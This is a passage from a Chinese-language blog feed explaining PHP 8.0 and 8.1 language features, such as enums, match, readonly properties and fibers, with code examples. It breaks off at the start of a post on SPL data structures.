class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">class Point</span><br><span class="line">{</span><br><span class="line"> public function __construct(protected int $x, protected int $y = 0) {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function getX(): int</span><br><span class="line"> {</span><br><span class="line"> return $this->x;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function getY(): int</span><br><span class="line"> {</span><br><span class="line"> return $this->y;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$point = new Point(1, 2);</span><br><span class="line">var_dump($point->getX()); // int(1)</span><br><span class="line">var_dump($point->getY()); // int(2)</span><br></pre></td></tr></table></figure><h3 id="联合类型"><a href="#联合类型" class="headerlink" title="联合类型"></a>联合类型</h3><blockquote><p>联合类型接受多个不同的简单类型做为参数</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">class Number {</span><br><span class="line"> public function __construct(private float|int $number) {}</span><br><span class="line"></span><br><span class="line"> public function getNumber(): float|int</span><br><span class="line"> {</span><br><span class="line"> return $this->number;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$number = new Number(1);</span><br><span class="line">var_dump($number->getNumber()); // int(1)</span><br><span class="line">$number = new Number(1.1);</span><br><span class="line">var_dump($number->getNumber()); // float(1.1)</span><br></pre></td></tr></table></figure><ul><li>但随着php越来越规范化,个人建议少用联合类型</li></ul><h3 id="Match-表达式"><a href="#Match-表达式" class="headerlink" title="Match 表达式"></a>Match 表达式</h3><blockquote><p>类似于 switch</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$foo = 'function foo';</span><br><span class="line"></span><br><span class="line">function foo(): string</span><br><span class="line">{</span><br><span class="line"> var_dump('test function');</span><br><span class="line"> return 'function foo';</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$result = match ($foo) {</span><br><span class="line"> 'bar' => 'bar',</span><br><span class="line"> 1 => '1',</span><br><span class="line"> true => true,</span><br><span class="line"> foo(), 'foo' => 'function foo',</span><br><span class="line"> default => 'default'</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">var_dump($result);</span><br><span class="line">// string(13) "test function"</span><br><span class="line">// string(12) "function foo"</span><br></pre></td></tr></table></figure><ul><li>match 比较分支值,使用了严格比较 (===), 而 switch 语句使用了松散比较。</li><li>match 表达式会返回一个值。</li><li>match 的分支不会像 switch 语句一样, 落空时执行下个 case。</li><li>match 表达式必须彻底列举所有情况。</li><li>逐个检测匹配分支,只会执行返回的表达式所对应的匹配条件表达式</li></ul><h3 id="Nullsafe-运算符"><a href="#Nullsafe-运算符" class="headerlink" title="Nullsafe 运算符"></a>Nullsafe 运算符</h3><blockquote><p>现在可以用新的 nullsafe 运算符链式调用,而不需要条件检查 null。 如果链条中的一个元素失败了,整个链条会中止并认定为 Null。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$country = null;</span><br><span class="line">if ($session !== null) {</span><br><span class="line"> $user = $session->user;</span><br><span class="line"> if ($user !== null) {</span><br><span class="line"> $address = $user->getAddress();</span><br><span class="line"> </span><br><span class="line"> if ($address !== null) {</span><br><span class="line"> $country = $address->country;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">// php8</span><br><span class="line">$country = $session?->user?->getAddress()?->country;</span><br></pre></td></tr></table></figure><h3 id="字符串与数字的比较更符合逻辑"><a href="#字符串与数字的比较更符合逻辑" class="headerlink" title="字符串与数字的比较更符合逻辑"></a>字符串与数字的比较更符合逻辑</h3><blockquote><p>PHP 8 比较数字字符串(numeric string)时,会按数字进行比较。 不是数字字符串时,将数字转化为字符串,按字符串比较。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0 == 'foobar' // false</span><br><span class="line"></span><br><span class="line"> // Before | After | Type</span><br><span class="line">var_dump(42 == " 42"); // true | true | well-formed</span><br><span class="line">var_dump(42 == "42 "); // true | false | non well-formed (*)</span><br><span class="line">var_dump(42 == "42abc"); // true | false | non well-formed</span><br><span class="line">var_dump(42 == "abc42"); // false | false | non-numeric</span><br><span class="line">var_dump( 0 == "abc42"); // true | false | non-numeric</span><br></pre></td></tr></table></figure><h3 id="内部函数类型错误的一致性"><a href="#内部函数类型错误的一致性" class="headerlink" title="内部函数类型错误的一致性"></a>内部函数类型错误的一致性</h3><blockquote><p>现在大多数内部函数在参数验证失败时抛出 Error 级异常。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// php 7</span><br><span class="line">strlen([]); // Warning: strlen() expects parameter 1 to be string, array given</span><br><span class="line">array_chunk([], -1); // Warning: array_chunk(): Size parameter expected to be greater than 0</span><br><span class="line"></span><br><span class="line">// php 8</span><br><span class="line">strlen([]); // TypeError: strlen(): Argument #1 ($str) must be of type string, array given</span><br><span class="line">array_chunk([], -1); // ValueError: array_chunk(): Argument #2 ($length) must be greater than 0</span><br></pre></td></tr></table></figure><h3 id="JIT"><a href="#JIT" class="headerlink" title="JIT"></a>JIT</h3><blockquote><p><a href="https://www.laruence.com/2020/06/27/5963.html">https://www.laruence.com/2020/06/27/5963.html</a></p></blockquote><p>// todo 学习</p><h2 id="8-1"><a href="#8-1" class="headerlink" title="8.1"></a>8.1</h2><blockquote><p><a href="https://www.php.net/releases/8.1/zh.php">https://www.php.net/releases/8.1/zh.php</a></p></blockquote><h3 id="枚举"><a href="#枚举" class="headerlink" title="枚举"></a>枚举</h3><blockquote><p>终于不用常量来定义枚举了</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 只能包含方法、静态方法。不允许包含属性,包含属性的 trait 会导致 fatal 错误。</span><br><span class="line"> */</span><br><span class="line">trait GetValues</span><br><span class="line">{</span><br><span class="line"> public static function values(): array</span><br><span class="line"> {</span><br><span class="line"> return array_column(self::cases(), 'value');</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 枚举可以实现interface,不能abstract</span><br><span class="line"> */</span><br><span class="line">interface Hello</span><br><span class="line">{</span><br><span class="line"> public function hello(): string;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 禁止构造、析构函数。</span><br><span class="line"> * 不支持继承。无法 extend 一个 enum。</span><br><span class="line"> * 不支持静态属性和对象属性。</span><br><span class="line"> * 由于枚举条目是单例对象,所以不支持对象复制。</span><br><span class="line"> * 除了下面列举项,不能使用魔术方法。</span><br><span class="line"> * enum 可以 implement 任意数量的 interface。</span><br><span class="line"> * 枚举和它的条目都可以附加 注解。 目标过滤器 TARGET_CLASS 包括枚举自身。 目标过滤器 TARGET_CLASS_CONST 包括枚举条目。</span><br><span class="line"> * 不能用 new 直接实例化枚举条目, 也不能用 ReflectionClass::newInstanceWithoutConstructor() 反射实例化。</span><br><span class="line"> */</span><br><span class="line">enum Suit: string implements Hello</span><br><span class="line">{</span><br><span class="line"> use GetValues;</span><br><span class="line"></span><br><span class="line"> case Hearts = 'H';</span><br><span class="line"> case Diamonds = 'D';</span><br><span class="line"> case Clubs = 'C';</span><br><span class="line"> case Spades = 'S';</span><br><span class="line">// case Spades1 = 'S'; error 不能有重复的回退值,一定是唯一的</span><br><span class="line"></span><br><span class="line"> const H = 1;</span><br><span class="line"> const D = 1;</span><br><span class="line"> const C = 1;</span><br><span class="line"> const S = 1;</span><br><span class="line"></span><br><span class="line"> public function hello(): string</span><br><span class="line"> {</span><br><span class="line"> return 'hello Suit.' . $this->name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function getValue(): string</span><br><span class="line"> {</span><br><span class="line"> return $this->value;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public static function fromLength(int $cm): Suit</span><br><span class="line"> {</span><br><span class="line"> return match ($cm) {</span><br><span class="line"> Suit::H => Suit::Hearts,</span><br><span class="line"> Suit::D => Suit::Diamonds,</span><br><span class="line"> Suit::C => Suit::Clubs,</span><br><span class="line"> Suit::S => Suit::Spades,</span><br><span class="line"> };</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">var_dump(Suit::cases());</span><br><span class="line">// array(4) {</span><br><span class="line">// [0]=></span><br><span class="line">// enum(Suit::Hearts)</span><br><span class="line">// [1]=></span><br><span class="line">// enum(Suit::Diamonds)</span><br><span class="line">// [2]=></span><br><span class="line">// enum(Suit::Clubs)</span><br><span class="line">// [3]=></span><br><span class="line">// enum(Suit::Spades)</span><br><span class="line">// }</span><br><span class="line"></span><br><span class="line">var_dump(Suit::values());</span><br><span class="line">// array(4) {</span><br><span class="line">// [0]=></span><br><span class="line">// string(1) "H"</span><br><span class="line">// [1]=></span><br><span class="line">// string(1) "D"</span><br><span class="line">// [2]=></span><br><span class="line">// string(1) "C"</span><br><span class="line">// [3]=></span><br><span class="line">// string(1) "S"</span><br><span class="line">// }</span><br><span class="line"></span><br><span class="line">var_dump(Suit::Hearts->hello()); // string(17) "hello Suit.Hearts"</span><br><span class="line"></span><br><span class="line">var_dump(Suit::Hearts->getValue()); // string(1) "H"</span><br><span class="line">var_dump(Suit::fromLength(Suit::H)); // enum(Suit::Hearts)</span><br><span class="line">var_dump(Suit::tryFrom('C')); // enum(Suit::Clubs)</span><br><span class="line">var_dump(serialize(Suit::Diamonds)); // string(21) "E:13:"Suit:Diamonds";"</span><br><span class="line">var_dump(Suit::Hearts === unserialize(serialize(Suit::Hearts))); // bool(true)</span><br><span class="line"></span><br><span class="line">function query(Suit $suit)</span><br><span class="line">{</span><br><span class="line"> var_dump($suit);</span><br><span class="line">}</span><br><span class="line">query(Suit::Clubs); // enum(Suit::Clubs)</span><br></pre></td></tr></table></figure><h3 id="只读属性"><a href="#只读属性" class="headerlink" title="只读属性"></a>只读属性</h3><blockquote><p>只读属性不能在初始化后更改,即在为它们分配值后。它们可以用于对值对象和数据传输对象建模。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">class Test</span><br><span class="line">{</span><br><span class="line"> public function __construct(public readonly string $prop)</span><br><span class="line"> {</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$test = new Test('123');</span><br><span class="line">var_dump($test->prop); // string(3) "123"</span><br><span class="line">// $test->prop = 456;// Fatal error: Uncaught Error: Cannot modify readonly property Test::$prop</span><br></pre></td></tr></table></figure><h3 id="First-class-可调用语法"><a href="#First-class-可调用语法" class="headerlink" title="First-class 可调用语法"></a>First-class 可调用语法</h3><blockquote><p>First-Class callables是一种引用闭包和函数的新方法,就是对函数的引用</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">//$fn = Closure::fromCallable('strlen');</span><br><span class="line">$fn = strlen(...);</span><br><span class="line">var_dump($fn('yes')); // int(3)</span><br><span class="line"></span><br><span class="line">class Demo</span><br><span class="line">{</span><br><span class="line"> public function method(string $key)</span><br><span class="line"> {</span><br><span class="line"> var_dump(__FUNCTION__.":{$key}");</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public static function staticMethod(string $key)</span><br><span class="line"> {</span><br><span class="line"> var_dump(__FUNCTION__.":{$key}");</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function run(){</span><br><span class="line">// $fn = Closure::fromCallable([$this, 'method']);</span><br><span class="line"> $fn = $this->method(...);</span><br><span class="line"> $fn('run');</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">(new Demo())->run(); // string(10) "method:run"</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">//$fn = Closure::fromCallable([Demo::class, 'staticMethod']);</span><br><span class="line">$fn = Demo::staticMethod(...);</span><br><span class="line">$fn('run'); // string(16) "staticMethod:run"</span><br></pre></td></tr></table></figure><h3 id="新的初始化器"><a href="#新的初始化器" class="headerlink" title="新的初始化器"></a>新的初始化器</h3><blockquote><p>对象现在可以用作默认参数值、静态变量和全局常量,以及属性参数。<br>这有效地使使用 嵌套属性 成为可能。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">interface LoggerInterface</span><br><span class="line">{</span><br><span class="line"> public function log(string $message): void;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class NullLogger implements LoggerInterface</span><br><span class="line">{</span><br><span class="line"> public function log(string $message): void</span><br><span class="line"> {</span><br><span class="line"> // 什么也不用做</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class EchoLogger implements LoggerInterface</span><br><span class="line">{</span><br><span class="line"> public function log(string $message): void</span><br><span class="line"> {</span><br><span class="line"> echo $message . PHP_EOL;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Service</span><br><span class="line">{</span><br><span class="line"> public function __construct(</span><br><span class="line"> protected LoggerInterface $logger = new NullLogger(),</span><br><span class="line"> ) {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function run()</span><br><span class="line"> {</span><br><span class="line"> $this->logger->log('run');</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$service1 = new Service();</span><br><span class="line">$service1->run(); // </span><br><span class="line"></span><br><span class="line">$service2 = new Service(new EchoLogger());</span><br><span class="line">$service2->run(); // run</span><br></pre></td></tr></table></figure><h3 id="纯交集类型"><a href="#纯交集类型" class="headerlink" title="纯交集类型"></a>纯交集类型</h3><blockquote><p>当一个值需要同时满足多个类型约束时,使用交集类型。<br>注意,目前无法将交集和联合类型混合在一起,例如 A&B|C。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">function count_and_iterate(Iterator&Countable $value) {</span><br><span class="line"> foreach ($value as $val) {</span><br><span class="line"> echo $val;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> count($value);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="Never-返回类型"><a href="#Never-返回类型" class="headerlink" title="Never 返回类型"></a>Never 返回类型</h3><blockquote><p>never 是一种表示没有返回的返回类型。这意味着它可能是调用 exit(), 抛出异常或者是一个无限循环。所以,它不能作为联合类型的一部分。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">function redirect(string $uri): never {</span><br><span class="line"> header('Location: ' . $uri);</span><br><span class="line"> exit();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function redirectToLoginPage(): never {</span><br><span class="line"> redirect('/login');</span><br><span class="line"> echo 'Hello'; // <- dead code detected by static analysis</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="Final-类常量"><a href="#Final-类常量" class="headerlink" title="Final 类常量"></a>Final 类常量</h3><blockquote><p>可以声明 final 类常量,以禁止它们在子类中被重写。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Foo</span><br><span class="line">{</span><br><span class="line"> final public const XX = "foo";</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Bar extends Foo</span><br><span class="line">{</span><br><span class="line"> public const XX = "bar"; // Fatal error</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="显式八进制数字表示法"><a href="#显式八进制数字表示法" class="headerlink" title="显式八进制数字表示法"></a>显式八进制数字表示法</h3><blockquote><p>现在可以使用显式 0o 前缀表示八进制数。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0o16 === 16; // false — not confusing with explicit notation</span><br><span class="line">0o16 === 14; // true</span><br></pre></td></tr></table></figure><h3 id="纤程"><a href="#纤程" class="headerlink" title="纤程"></a>纤程</h3><blockquote><p><a href="https://www.php.net/manual/zh/language.fibers.php">https://www.php.net/manual/zh/language.fibers.php</a><br>纤程可以在调用堆栈中的任何位置被挂起,在纤程内暂停执行,直到稍后恢复。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$fiber = new Fiber(function (int $one): int {</span><br><span class="line"> $two = Fiber::suspend($one);</span><br><span class="line"> $three = Fiber::suspend($two);</span><br><span class="line"> $four = Fiber::suspend($three);</span><br><span class="line"> $five = Fiber::suspend($four);</span><br><span class="line"> return Fiber::suspend($five);</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">print $fiber->start(1) . PHP_EOL; // 1</span><br><span class="line"></span><br><span class="line">var_dump($fiber->isRunning()); // bool(false)</span><br><span class="line">var_dump($fiber->isStarted()); // bool(true)</span><br><span class="line">var_dump($fiber->isSuspended()); // bool(true)</span><br><span class="line">var_dump($fiber->isTerminated()); // bool(false)</span><br><span class="line"></span><br><span class="line">print $fiber->resume(2) . PHP_EOL; // 2</span><br><span class="line">print $fiber->resume(3) . PHP_EOL; // 3</span><br><span class="line">print $fiber->resume(4) . PHP_EOL; // 4</span><br><span class="line">print $fiber->resume(5) . PHP_EOL; // 5</span><br><span class="line">print $fiber->resume(6) . PHP_EOL; //</span><br><span class="line">print $fiber->getReturn() . PHP_EOL; // 6</span><br><span class="line"></span><br><span class="line">var_dump($fiber->isTerminated()); // bool(true)</span><br></pre></td></tr></table></figure><h3 id="对字符串键控数组的数组解包支持"><a href="#对字符串键控数组的数组解包支持" class="headerlink" title="对字符串键控数组的数组解包支持"></a>对字符串键控数组的数组解包支持</h3><blockquote><p>PHP 以前支持通过扩展运算符在数组内部解包,但前提是数组具有整数键。现在也可以使用字符串键解包数组</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// php < 8.1</span><br><span class="line">$arrayA = ['a' => 1];</span><br><span class="line">$arrayB = ['b' => 2];</span><br><span class="line">$result = array_merge(['a' => 0], $arrayA, $arrayB);</span><br><span class="line">// ['a' => 1, 'b' => 2]</span><br><span class="line"></span><br><span class="line">// php 8.1</span><br><span class="line">$arrayA = ['a' => 1];</span><br><span class="line">$arrayB = ['b' => 2];</span><br><span class="line">$result = ['a' => 0, ...$arrayA, ...$arrayB];</span><br><span class="line">// ['a' => 1, 'b' => 2]</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
</entry>
<entry>
<title>PHP - Spl数据结构</title>
<link href="https://blog.lihq.xyz/2022/07/05/spl-data-structures/"/>
<id>https://blog.lihq.xyz/2022/07/05/spl-data-structures/</id>
<published>2022-07-05T12:30:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="PHP-Spl数据结构"><a href="#PHP-Spl数据结构" class="headerlink" title="PHP - Spl数据结构"></a>PHP - Spl数据结构</h1><blockquote><p>今天在看hyperf源码的时候,看到一个SplPriorityQueue的使用,想起很久以前要学习一下spl库的一些知识,一直没去看,今天就先学习一下spl提供的数据结构</p></blockquote><ul><li><a href="https://www.php.net/manual/zh/spl.datastructures.php">https://www.php.net/manual/zh/spl.datastructures.php</a></li></ul><h2 id="实践"><a href="#实践" class="headerlink" title="实践"></a>实践</h2><h3 id="双向链表"><a href="#双向链表" class="headerlink" title="双向链表"></a>双向链表</h3><ul><li>当底层结构是 DLL 时, 迭代器的操作、对两端的访问、节点的添加或删除都具有 O (1) 的开销</li></ul><h4 id="SplDoublyLinkedList"><a href="#SplDoublyLinkedList" class="headerlink" title="SplDoublyLinkedList"></a>SplDoublyLinkedList</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span 